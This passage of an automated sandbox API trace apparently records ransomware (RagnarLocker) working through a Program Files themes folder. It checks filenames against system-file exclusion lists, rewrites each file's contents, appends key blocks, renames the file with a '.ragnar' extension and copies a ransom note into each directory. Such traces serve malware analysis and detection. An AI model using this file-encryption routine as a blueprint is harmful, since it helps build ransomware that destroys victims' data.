lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.ragnar_FD7BD9FC" [0073.177] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.178] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.178] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.178] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.178] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned=".GIF" [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.178] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.178] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0073.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.180] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1347) returned 1 [0073.180] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x53a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.180] GetProcessHeap () returned 0x580000 [0073.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.180] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.181] VirtualAlloc (lpAddress=0x0, dwSize=0x543, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.182] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x543, lpOverlapped=0x0) returned 1 [0073.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.182] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x543, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.182] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x543, lpOverlapped=0x0) returned 1 [0073.182] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x543, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.182] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x543, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.182] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.182] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.182] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.182] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.183] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.183] GetProcessHeap () returned 0x580000 [0073.183] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.183] CloseHandle (hObject=0x10c) returned 1 [0073.183] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" [0073.184] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.184] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.184] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd08980, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.184] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.184] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.184] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.184] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.184] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.184] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned=".PNG" [0073.184] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.185] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.185] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0073.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.186] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=32403) returned 1 [0073.186] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7e8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.186] GetProcessHeap () returned 0x580000 [0073.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.186] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.187] VirtualAlloc (lpAddress=0x0, dwSize=0x7e93, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.187] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.188] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.188] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7e93, lpOverlapped=0x0) returned 1 [0073.189] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.189] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e93, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.189] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e93, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7e93, lpOverlapped=0x0) returned 1 [0073.189] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e93, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.189] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.190] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7e93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.190] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.190] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.190] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.190] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.190] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.190] GetProcessHeap () returned 0x580000 [0073.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.190] CloseHandle (hObject=0x10c) returned 1 [0073.191] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" [0073.191] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.191] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.192] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.192] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2=".") returned 1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="..") returned 1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Windows") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Windows.old") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Tor browser") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Internet Explorer") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Google") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Opera") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Opera Software") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Mozilla") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="Mozilla Firefox") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="$Recycle.Bin") returned 1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="ProgramData") returned -1 [0073.192] lstrcmpiW (lpString1="EDGE", lpString2="All Users") returned 1 [0073.192] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.192] lstrcpyW (in: lpString1=0x1eb638, lpString2="EDGE" | out: lpString1="EDGE") returned="EDGE" [0073.192] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\" [0073.192] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\" [0073.192] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RGNR_FD7BD9FC.txt" [0073.192] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.196] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*" [0073.197] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.197] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.197] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dded1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.197] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dded1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, 